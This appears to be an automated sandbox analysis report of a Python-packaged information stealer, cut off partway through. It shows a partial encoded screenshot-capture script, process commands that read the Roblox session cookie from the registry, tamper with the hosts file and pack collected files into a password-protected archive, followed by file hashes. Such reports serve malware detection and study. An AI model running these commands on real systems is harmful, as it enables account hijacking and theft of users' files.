dAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=

C:\Windows\system32\systeminfo.exe

systeminfo

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\tasklist.exe

tasklist /FO LIST

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\attrib.exe

attrib -r C:\Windows\System32\drivers\etc\hosts

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\attrib.exe

attrib +r C:\Windows\System32\drivers\etc\hosts

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"

C:\Windows\System32\Conhost.exe

\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\3vszf4e2\3vszf4e2.cmdline"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\tasklist.exe

tasklist /FO LIST

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES92AB.tmp" "c:\Users\Admin\AppData\Local\Temp\3vszf4e2\CSC3436D7FDA8C641D3AFE16C531D8E1140.TMP"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"

C:\Windows\System32\Conhost.exe

\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "getmac"

C:\Windows\system32\getmac.exe

getmac

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI44282\rar.exe a -r -hp"blank123" "C:\Users\Admin\AppData\Local\Temp\Cn3uW.zip" *"

C:\Users\Admin\AppData\Local\Temp\_MEI44282\rar.exe

C:\Users\Admin\AppData\Local\Temp\_MEI44282\rar.exe a -r -hp"blank123" "C:\Users\Admin\AppData\Local\Temp\Cn3uW.zip" *

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic os get Caption"

C:\Windows\System32\Wbem\WMIC.exe

wmic os get Caption

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"

C:\Windows\System32\Wbem\WMIC.exe

wmic computersystem get totalphysicalmemory

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 196.249.167.52.in-addr.arpa udp
US 8.8.8.8:53 88.210.23.2.in-addr.arpa udp
US 8.8.8.8:53 71.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 gstatic.com udp
GB 142.250.179.227:443 gstatic.com tcp
US 8.8.8.8:53 227.179.250.142.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 150.171.28.10:443 g.bing.com tcp
US 8.8.8.8:53 205.47.74.20.in-addr.arpa udp
US 8.8.8.8:53 10.28.171.150.in-addr.arpa udp

Files

C:\Users\Admin\AppData\Local\Temp\_MEI44282\python311.dll

MD5 bb46b85029b543b70276ad8e4c238799
SHA1 123bdcd9eebcac1ec0fd2764a37e5e5476bb0c1c
SHA256 72c24e1db1ba4df791720a93ca9502d77c3738eebf8b9092a5d82aa8d80121d0
SHA512 5e993617509c1cf434938d6a467eb0494e04580ad242535a04937f7c174d429da70a6e71792fc3de69e103ffc5d9de51d29001a4df528cfffefdaa2cef4eaf31

memory/228-25-0x00007FFC0F9D0000-0x00007FFC0FFB8000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\_MEI44282\VCRUNTIME140.dll

MD5 f12681a472b9dd04a812e16096514974
SHA1 6fd102eb3e0b0e6eef08118d71f28702d1a9067c
SHA256 d66c3b47091ceb3f8d3cc165a43d285ae919211a0c0fcb74491ee574d8d464f8
SHA512 7d3accbf84de73fb0c5c0de812a9ed600d39cd7ed0f99527ca86a57ce63f48765a370e913e3a46ffc2ccd48ee07d823dafdd157710eef9e7cc1eb7505dc323a2

C:\Users\Admin\AppData\Local\Temp\_MEI44282\base_library.zip

MD5 83d235e1f5b0ee5b0282b5ab7244f6c4
SHA1 629a1ce71314d7abbce96674a1ddf9f38c4a5e9c
SHA256 db389a9e14bfac6ee5cce17d41f9637d3ff8b702cc74102db8643e78659670a0
SHA512 77364aff24cfc75ee32e50973b7d589b4a896d634305d965ecbc31a9e0097e270499dbec93126092eb11f3f1ad97692db6ca5927d3d02f3d053336d6267d7e5f

C:\Users\Admin\AppData\Local\Temp\_MEI44282\_ctypes.pyd

MD5 38fb83bd4febed211bd25e19e1cae555
SHA1 4541df6b69d0d52687edb12a878ae2cd44f82db6
SHA256 cd31af70cbcfe81b01a75ebeb2de86079f4cbe767b75c3b5799ef8b9f0392d65
SHA512 f703b231b675c45accb1f05cd34319b5b3b7583d85bf2d54194f9e7c704fbcd82ef2a2cd286e6a50234f02c43616fbeccfd635aefd73424c1834f5dca52c0931

memory/228-30-0x00007FFC229B0000-0x00007FFC229D4000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\_MEI44282\libffi-8.dll

MD5 90a6b0264a81bb8436419517c9c232fa
SHA1 17b1047158287eb6471416c5df262b50d6fe1aed
SHA256 5c4a0d4910987a38a3cd31eae5f1c909029f7762d1a5faf4a2e2a7e9b1abab79
SHA512 1988dd58d291ee04ebfec89836bb14fcaafb9d1d71a93e57bd06fe592feace96cdde6fcce46ff8747339659a9a44cdd6cf6ac57ff495d0c15375221bf9b1666e

C:\Users\Admin\AppData\Local\Temp\_MEI44282\_ssl.pyd

MD5 156b1fa2f11c73ed25f63ee20e6e4b26
SHA1 36189a5cde36d31664acbd530575a793fc311384
SHA256 a9b5f6c7a94fb6bfaf82024f906465ff39f9849e4a72a98a9b03fc07bf26da51
SHA512 a8181ffeb3cf8ef2a25357217a3dd05242cc0165473b024cf0aeb3f42e21e52c2550d227a1b83a6e5dab33a185d78e86e495e9634e4f4c5c4a1aec52c5457dca

memory/228-48-0x00007FFC25D30000-0x00007FFC25D3F000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\_MEI44282\_sqlite3.pyd

MD5 d678600c8af1eeeaa5d8c1d668190608
SHA1 080404040afc8b6e5206729dd2b9ee7cf2cb70bc
SHA256 d6960f4426c09a12488eb457e62506c49a58d62a1cb16fbc3ae66b260453c2ed
SHA512 8fd5f0fd5bd60c6531e1b4ad867f81da92d5d54674028755e5680fb6005e6444805003d55b6cbaf4cdad7b4b301cffab7b010229f6fd9d366405b8ade1af72d9

C:\Users\Admin\AppData\Local\Temp\_MEI44282\_socket.pyd

MD5 4351d7086e5221398b5b78906f4e84ac
SHA1 ba515a14ec1b076a6a3eab900df57f4f37be104d
SHA256 a0fa25eef91825797f01754b7d7cf5106e355cf21322e926632f90af01280abe
SHA512 a1bcf51e797ccae58a0b4cfe83546e5e11f8fc011ca3568578c42e20bd7a367a5e1fa4237fb57aa84936eec635337e457a61a2a4d6eca3e90e6dde18ae808025

C:\Users\Admin\AppData\Local\Temp\_MEI44282\_queue.pyd

MD5 fbbbfbcdcf0a7c1611e27f4b3b71079e
SHA1 56888df9701f9faa86c03168adcd269192887b7b
SHA256 699c1f0f0387511ef543c0df7ef81a13a1cffde4ce4cd43a1baf47a893b99163
SHA512 0a5ba701653ce9755048ae7b0395a15fbb35509bef7c4b4fe7f11dc4934f3bd298bcddbf2a05b61f75f8eb44c4c41b3616f07f9944e0620b031cbe87a7443284

C:\Users\Admin\AppData\Local\Temp\_MEI44282\_lzma.pyd

MD5 8d9e1bb65a192c8446155a723c23d4c5
SHA1 ea02b1bf175b7ef89ba092720b3daa0c11bef0f0
SHA256 1549fe64b710818950aa9bf45d43fe278ce59f3b87b3497d2106ff793efa6cf7
SHA512 4d67306fe8334f772fe9d463cb4f874a8b56d1a4ad3825cff53cae4e22fa3e1adba982f4ea24785312b73d84a52d224dfb4577c1132613aa3ae050a990e4abdf

C:\Users\Admin\AppData\Local\Temp\_MEI44282\_hashlib.pyd

MD5 596df8ada4b8bc4ae2c2e5bbb41a6c2e
SHA1 e814c2e2e874961a18d420c49d34b03c2b87d068
SHA256 54348cfbf95fd818d74014c16343d9134282d2cf238329eec2cda1e2591565ec
SHA512 e16aad5230e4af7437b19c3db373b1a0a0a84576b608b34430cced04ffc652c6fb5d8a1fe1d49ac623d8ae94c8735800c6b0a12c531dcdd012b05b5fd61dff2e

C:\Users\Admin\AppData\Local\Temp\_MEI44282\_decimal.pyd

MD5 7ba541defe3739a888be466c999c9787
SHA1 ad0a4df9523eeeafc1e67b0e4e3d7a6cf9c4dfac
SHA256 f90efa10d90d940cde48aafe02c13a0fc0a1f0be7f3714856b7a1435f5decf29
SHA512 9194a527a17a505d049161935432fa25ba154e1aee6306dee9054071f249c891f0ca7839de3a21d09b57fdc3f29ee7c4f08237b0dfffafa8f0078cfe464bed3b

C:\Users\Admin\AppData\Local\Temp\_MEI44282\_bz2.pyd

MD5 0c13627f114f346604b0e8cbc03baf29
SHA1 bf77611d924df2c80aabcc3f70520d78408587a2
SHA256 df1e666b55aae6ede59ef672d173bd0d64ef3e824a64918e081082b8626a5861
SHA512 c97fa0f0988581eae5194bd6111c1d9c0e5b1411bab47df5aa7c39aad69bfbeca383514d6aaa45439bb46eacf6552d7b7ed08876b5e6864c8507eaa0a72d4334

C:\Users\Admin\AppData\Local\Temp\_MEI44282\unicodedata.pyd

MD5 bb3fca6f17c9510b6fb42101fe802e3c
SHA1 cb576f3dbb95dc5420d740fd6d7109ef2da8a99d
SHA256 5e2f1bbfe3743a81b00717011094798929a764f64037bedb7ea3d2ed6548eb87
SHA512 05171c867a5d373d4f6420136b6ac29fa846a85b30085f9d7fabcbb4d902afee00716dd52010ed90e97c18e6cb4e915f13f31a15b2d8507e3a6cfa80e513b6a2

C:\Users\Admin\AppData\Local\Temp\_MEI44282\sqlite3.dll

MD5 ddd0dd698865a11b0c5077f6dd44a9d7
SHA1 46cd75111d2654910f776052cc30b5e1fceb5aee
SHA256 a9dd0275131105df5611f31a9e6fbf27fd77d0a35d1a73a9f4941235fbc68bd7
SHA512 b2ee469ea5a6f49bbdd553363baa8ebad2baf13a658d0d0c167fde7b82eb77a417d519420db64f325d0224f133e3c5267df3aa56c11891d740d6742adf84dbe4

C:\Users\Admin\AppData\Local\Temp\_MEI44282\select.pyd

MD5 abf7864db4445bbbd491c8cff0410ae0
SHA1 4b0f3c5c7bf06c81a2c2c5693d37ef49f642a9b7
SHA256 ddeade367bc15ea09d42b2733d88f092da5e880362eabe98d574bc91e03de30e
SHA512 8f55084ee137416e9d61fe7de19e4cff25a4b752494e9b1d6f14089448ef93e15cd820f9457c6ce9268781bd08e3df41c5284801f03742bc5c40b3b81fb798c5

C:\Users\Admin\AppData\Local\Temp\_MEI44282\rarreg.key

MD5 4531984cad7dacf24c086830068c4abe
SHA1 fa7c8c46677af01a83cf652ef30ba39b2aae14c3
SHA256 58209c8ab4191e834ffe2ecd003fd7a830d3650f0fd1355a74eb8a47c61d4211
SHA512 00056f471945d838ef2ce56d51c32967879fe54fcbf93a237ed85a98e27c5c8d2a39bc815b41c15caace2071edd0239d775a31d1794dc4dba49e7ecff1555122

C:\Users\Admin\AppData\Local\Temp\_MEI44282\rar.exe

MD5 9c223575ae5b9544bc3d69ac6364f75e
SHA1 8a1cb5ee02c742e937febc57609ac312247ba386
SHA256 90341ac8dcc9ec5f9efe89945a381eb701fe15c3196f594d9d9f0f67b4fc2213
SHA512 57663e2c07b56024aaae07515ee3a56b2f5068ebb2f2dc42be95d1224376c2458da21c965aab6ae54de780cb874c2fc9de83d9089abf4536de0f50faca582d09

C:\Users\Admin\AppData\Local\Temp\_MEI44282\libssl-1_1.dll

MD5 eac369b3fde5c6e8955bd0b8e31d0830
SHA1 4bf77158c18fe3a290e44abd2ac1834675de66b4
SHA256 60771fb23ee37b4414d364e6477490324f142a907308a691f3dd88dc25e38d6c
SHA512 c51f05d26fda5e995fe6763877d4fcdb89cd92ef2d6ee997e49cc1ee7a77146669d26ec00ad76f940ef55adae82921dede42e55f51bd10d1283ecfe7c5009778

C:\Users\Admin\AppData\Local\Temp\_MEI44282\libcrypto-1_1.dll

MD5 daa2eed9dceafaef826557ff8a754204
SHA1 27d668af7015843104aa5c20ec6bbd30f673e901
SHA256 4dab915333d42f071fe466df5578fd98f38f9e0efa6d9355e9b4445ffa1ca914
SHA512 7044715550b7098277a015219688c7e7a481a60e4d29f5f6558b10c7ac29195c6d5377dc234da57d9def0c217bb3d7feca332a64d632ca105503849f15e057ea

C:\Users\Admin\AppData\Local\Temp\_MEI44282\blank.aes

MD5 1249d42f22f5180d9157c44e75eabfbe
SHA1 aa4a471e2e38af96b43ae88f03a7caf532965c88
SHA256 fc6afa98b2411a64e542499a1957a4fd8adfda5094a15ae36aba551f8429dec8
SHA512 176a5bf287432a5919f12580187899fff839d9e77767193c43a6bce72163b4cc8a1b26e619b7e4784ad7d9183f9236063a92a2adc2cfb3ac7f7ac792416cf27f

memory/228-54-0x00007FFC1EE00000-0x00007FFC1EE2D000-memory.dmp

memory/228-56-0x00007FFC1ECE0000-0x00007FFC1ECF9000-memory.dmp

memory/228-58-0x00007FFC1ECB0000-0x00007FFC1ECD3000-memory.dmp

memory/228-60-0x00007FFC0EE50000-0x00007FFC0EFC3000-memory.dmp

memory/228-62-0x00007FFC25040000-0x00007FFC25059000-memory.dmp

memory/228-64-0x00007FFC1FAC0000-0x00007FFC1FACD000-memory.dmp

memory/228-66-0x00007FFC1F8F0000-0x00007FFC1F91E000-memory.dmp

memory/228-68-0x00007FFC0F9D0000-0x00007FFC0FFB8000-memory.dmp

memory/228-70-0x00007FFC0ED90000-0x00007FFC0EE48000-memory.dmp

memory/228-73-0x00007FFC0E5F0000-0x00007FFC0E965000-memory.dmp

memory/228-74-0x000002069C460000-0x000002069C7D5000-memory.dmp

memory/228-72-0x00007FFC229B0000-0x00007FFC229D4000-memory.dmp

memory/228-76-0x00007FFC1F720000-0x00007FFC1F734000-memory.dmp

memory/228-78-0x00007FFC1F890000-0x00007FFC1F89D000-memory.dmp

memory/228-82-0x00007FFC1ECB0000-0x00007FFC1ECD3000-memory.dmp

memory/228-83-0x00007FFC0EC70000-0x00007FFC0ED8C000-memory.dmp

memory/4536-85-0x00007FFC0D983000-0x00007FFC0D985000-memory.dmp

memory/228-84-0x00007FFC0EE50000-0x00007FFC0EFC3000-memory.dmp

memory/4536-86-0x00007FFC0D980000-0x00007FFC0E441000-memory.dmp

memory/228-87-0x00007FFC25040000-0x00007FFC25059000-memory.dmp

memory/4536-88-0x00007FFC0D980000-0x00007FFC0E441000-memory.dmp

memory/4536-94-0x000001E0E7660000-0x000001E0E7682000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lhhjammj.oed.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/228-168-0x00007FFC1FAC0000-0x00007FFC1FACD000-memory.dmp

C:\Windows\System32\drivers\etc\hosts

MD5 f99e42cdd8b2f9f1a3c062fe9cf6e131
SHA1 e32bdcab8da0e3cdafb6e3876763cee002ab7307
SHA256 a040d43136f2f4c41a4875f895060fb910267f2ffad2e3b1991b15c92f53e0f0
SHA512 c55a5e440326c59099615b21d0948cdc2a42bd9cf5990ec88f69187fa540d8c2e91aebe6a25ed8359a47be29d42357fec4bd987ca7fae0f1a6b6db18e1c320a6

\??\c:\Users\Admin\AppData\Local\Temp\3vszf4e2\3vszf4e2.cmdline

MD5 f92a96ea43bc6cfc2d556e17bdae3ea9
SHA1 1ae86915bd43b4e95e03966fa4e55b8e867aeef4
SHA256 5a2930534ed38f48f3d293e39830d2c2853e5cdf83faa118fd7c0cc2c59bfbcd
SHA512 98050123736b876380ad55e8ec20aebf2f79d071ee052bbb88d2de153d3ce67a4de0684bad202579baab957e67843766c1ffcead13c350cc4b94a9e2105429cc

\??\c:\Users\Admin\AppData\Local\Temp\3vszf4e2\3vszf4e2.0.cs

MD5 c76055a0388b713a1eabe16130684dc3
SHA1 ee11e84cf41d8a43340f7102e17660072906c402
SHA256 8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7
SHA512 22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2

\??\c:\Users\Admin\AppData\Local\Temp\3vszf4e2\CSC3436D7FDA8C641D3AFE16C531D8E1140.TMP

MD5 92a4c8c4003c5fe0562e264f03908c32
SHA1 bad52e875157b5a22543ba87b96079a144211e42
SHA256 85006277cfb4648c935c0d1b9fe94b9f38dec1266ca746b9d52281e8e4a426e3
SHA512 25ea2a060bc5a73be333d1c42197f787845b44391baf9de0b7e4a29ce46fc1972dcc565e50a93eb7b9ac2f01a4194970d8a169ec5d76464ae1905a2f21469d2a

C:\Users\Admin\AppData\Local\Temp\RES92AB.tmp

MD5 616276125c874172e5d2743d260fb768
SHA1 74d827bc7501507105d766e8bd7d483dad557087
SHA256 db4c41ef5e1b8d5ad8a5254c39ff055956f331d07e121b98b6b83074e2254fba
SHA512 ecedab15709900c313cac5551d9e229660decb49c0774f646b8b43f2ce36f1b150f212938d9c6667b87da4b32c26b3278615e50abd0b75509d7bdcf0ce479297

memory/4884-200-0x00000225AAF50000-0x00000225AAF58000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\3vszf4e2\3vszf4e2.dll

MD5 7a108aa2e69aab4ffb2732cb00bd4e2e
SHA1 3edf70d059e8be21dac57021bf15c9542f0c8be1
SHA256 9a7b989d944e79af7d8072c1dbb1dc1d1225d43c219df790aa5f68f9fcbdbb35
SHA512 291448f7beb29dde7ba1bd3168171a41db437f5fcf0e1b0d80b0c02e48157e6bc9b17ea982597bb6816b4e4437c6e4067e007ec044275f1834eb3967151819a6

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 d28a889fd956d5cb3accfbaf1143eb6f
SHA1 157ba54b365341f8ff06707d996b3635da8446f7
SHA256 21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45
SHA512 0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 8740e7db6a0d290c198447b1f16d5281
SHA1 ab54460bb918f4af8a651317c8b53a8f6bfb70cd
SHA256 f45b0efc0833020dfeeaad0adc8ed10b0f85e0bc491baf9e1a4da089636bccf5
SHA512 d91fe9666c4923c8e90e5a785db96e5613b8cb3bf28983296a2f381ccdcd73d15254268548e156c8150a9a531712602313ba65f74cec5784341c8d66b088750b

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 3a6bad9528f8e23fb5c77fbd81fa28e8
SHA1 f127317c3bc6407f536c0f0600dcbcf1aabfba36
SHA256 986366767de5873f1b170a63f2a33ce05132d1afd90c8f5017afbca8ef1beb05
SHA512 846002154a0ece6f3e9feda6f115d3161dc21b3789525dd62ae1d9188495171293efdbe7be4710666dd8a15e66b557315b5a02918a741ed1d5f3ff0c515b98e2

memory/4536-207-0x00007FFC0D980000-0x00007FFC0E441000-memory.dmp

memory/228-210-0x00007FFC1F8F0000-0x00007FFC1F91E000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 bf7b73e38e4a79c2a863a0c331e2000e
SHA1 8086254ce77c67e94b9c1380e3f502523399ab9e
SHA256 669c79889af6eeb7b96e8050999bf35a9c731b0f03df64496939ebdc043fdad0
SHA512 a777d81016f910303546a20f3d1a666fb408fc7c0b442874a910b84317682befc8287c5eb04e5f00fdee156675b699538d9ae3e47dcde24da4f35e68b649e241

memory/228-212-0x00007FFC0ED90000-0x00007FFC0EE48000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 20ec1427c6a2a053a52f99613f3ce6fd
SHA1 7a210be2a90e42705daaaaad028c61a18d69c7e9
SHA256 dcf4ad375888dd5d93e08f11e8aa9e958172f5e478500c2cb91e1839fd422145
SHA512 79eb406bf0874e5b69ec1e562f699f27ba8bac77836c8b5bda5a39ae945675705014da6a49435dc6d2d467bffcf51d4332179e1e2961d6ec8fe4beed034c31d0

memory/228-271-0x00007FFC0E5F0000-0x00007FFC0E965000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\  ‌‌  ‌   \Common Files\Desktop\HideReceive.docx

MD5 543957be64123d7130113e2c774c4e66
SHA1 8c2a5ee2afc4eefefd72cbe6a9158d7da0865cd9
SHA256 987c2359d88c9a7539542dd29b7bb4731fb5e18b951cfc7b9d5dca8d58926f07
SHA512 66d87ecbef5bab76149428ea1504f9016c3828be214b8e0ddca72e76665c9b97a8f69d648c6aaaf88fd412aeb685b324a168c0150b713ffd3bc5c41ddb6e828c

C:\Users\Admin\AppData\Local\Temp\  ‌‌  ‌   \Common Files\Desktop\ReadWatch.docx

MD5 9378fe1b57b8a29bfcea22071f726803
SHA1 e66a64b4f53bbe2967f33f8e6adbc5ac41cde66e
SHA256 8ae9866e1eae27587444c08bddf534fea99b74b4d70b5208b717c105388fdd1b
SHA512 0aca5669f2a7d816e806d9af24a9529c3ee038f2a676adb441ad4858020d7855e6b9248c4ceef22afa955d12df145406fd7ecaed628e060561293815b870cdcd

C:\Users\Admin\AppData\Local\Temp\  ‌‌  ‌   \Common Files\Desktop\ResetResize.xlsx

MD5 e78b232385d9a21af691b73cb6964c45
SHA1 9a5026c86cd50e11a1547784cf645e9c195e99b2
SHA256 334eacd973d34f6b6f748caf59703ed7b95a2935e7cada6dfce0b985ab338137
SHA512 1c6c8d83d09b2e79af66e3f15ad38e487ef6f18af211752e5c1bbb5609eface2eb0f5594eba982aa0587e011338e65d0733fadd2b8383d81ddcede87031a2907

C:\Users\Admin\AppData\Local\Temp\  ‌‌  ‌   \Common Files\Documents\ConfirmSave.txt

MD5 f8fc4c65bf5c0a16c33ff6961447969f
SHA1 ee7d50c52afde864edb6ec0493ca9fbec1beafed
SHA256 3c87f120a10346ed5d0902a384c67542b5f20799b0238dc815f927fab95c89ba
SHA512 864eb21072537c7ac5822565e00aa90cf4d0d5d4d11602ca0f6f3f7b1e0441cc2d0fd80d5c1065c02da24fa8df206b1f7993dbbb16a8d518b6b2b716e70be2fa

C:\Users\Admin\AppData\Local\Temp\  ‌‌  ‌   \Common Files\Documents\FindExport.doc

MD5 ec58588540f71fa2f76ab9ab9f6218a9
SHA1 2aaf6a93595f06bfd2c7942f1d12fbb1366fd00e
SHA256 c6d42468013e4c89af2866f2a2278cf5ec3cab84f4608a7f8aedb6949f7678fe
SHA512 dfc097b448218e99cb0ef6b7af76660b441df083e40a93b6cc2985a27b01c859dce4a27515ece2408fc330304eb8cf417c00e6ab0aaf96a83911257027176c93

C:\Users\Admin\AppData\Local\Temp\  ‌‌  ‌   \Common Files\Documents\SkipCompress.xlsx

MD5 14d52f4e10bff325972c74e30a3b956b
SHA1 b6275e239324da9bbeb5dd3a8bcfdfcc78fd1045
SHA256 586ae897b64569f88119c83bdb5c00efdab1f2c2bac407594a98d435d551a2c0
SHA512 0e30ac643005ce0569ae99f9e24a29635935821bc35bdb060d9df1a68d86f973fe3c4491b6dba357224ccba3bf0eb00b26b6721492f64827084ce7b64e9e58e7

C:\Users\Admin\AppData\Local\Temp\  ‌‌  ‌   \Common Files\Documents\TraceSend.pdf

MD5 62319a7c5dd5a447b7ffa86cacdec506
SHA1 06ad6781bac660b7aa1f88f2c7470ab2c297da15
SHA256 87c85f4a250e258985511ca29e200f80bdce5a2a03dacfd5226f39b8c52af844
SHA512 12dbb422ec964f2fcecae486683a21d6497d740ecc4083095bd111b2c36148e052ba5b10e4fd3031248c00b5c79cdb48e2e3c341860c3b9cd50d6b2e97cf7fb6

C:\Users\Admin\AppData\Local\Temp\  ‌‌  ‌   \Common Files\Documents\UpdateExpand.xlsx

MD5 b92bd3400d0cb99ce33d1fdcf176948a
SHA1 f87fc9bd7f0d249fa846b90ef7c8d064f9047356
SHA256 71d8129524492208cf56250a6e3f9bc0332a179817413bca1eaf0582099512b6
SHA512 c9aa6f10b60d31b2093501c3ceb9f7a816869596e932bc242febc98f7fe8f1e11d7cccd0b5277a457084ff0afd05434fa9be884fbd72d3dc4a220333a7034640

C:\Users\Admin\AppData\Local\Temp\  ‌‌  ‌   \Common Files\Documents\UnregisterGroup.docx

MD5 c9eb03eaecf84abc2942f50bab6f312b
SHA1 a331722bfbcf2f50b2d9f3aecfce8d78fa9506f7
SHA256 69616fac0d8efee76a053123b567ebe564a441e9c8f0442a9a6c56e686c8a3b7
